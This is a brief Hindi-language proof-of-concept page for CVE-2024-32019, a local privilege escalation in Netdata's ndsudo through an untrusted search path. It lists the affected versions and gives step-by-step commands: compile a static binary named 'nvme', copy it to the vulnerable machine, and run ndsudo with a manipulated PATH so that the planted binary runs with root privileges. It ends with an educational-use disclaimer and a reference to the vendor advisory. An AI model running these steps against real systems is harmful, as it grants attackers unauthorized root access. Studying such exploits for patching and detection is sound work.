⚠️ CVE-2024-32019 - PoC

📌 प्रभावित संस्करण

• >= v1.45.0, < v1.45.3
• >= v1.44.0-60, < v1.45.0-169

🛠️ प्रूफ ऑफ कॉन्सेप्ट

CVE-2024-32019 — ndsudo स्थानीय विशेषाधिकार उन्नयन अविश्वसनीय खोज पथ के माध्यम से।

🔧 एक्सप्लॉइट को संकलित करें

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 लक्ष्य मशीन पर तैनात करें

1. संकलित बाइनरी को असुरक्षित मशीन पर स्थानांतरित करें।

2. इसे निष्पादन योग्य बनाएं:

   root@kitploit:~

   chmod +x nvme
   

3. PATH हेरफेर के माध्यम से असुरक्षित बाइनरी का शोषण करें (उसी पथ का उपयोग करें जहाँ आपने अपनी बाइनरी अपलोड की है):

   root@kitploit:~

   PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
   

🔍 संदर्भ

• Netdata Security Advisory - GHSA-pmhq-4cxq-wj93

⚖️ अस्वीकरण और शर्तें

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

• कोई अनुमति इस कोड को संशोधित, पुनर्वितरित या किसी अन्य उद्देश्य के लिए उपयोग करने की नहीं दी गई है।
• अनधिकृत उपयोग या संशोधन अवैध और अनैतिक हो सकता है।
• लेखक किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं।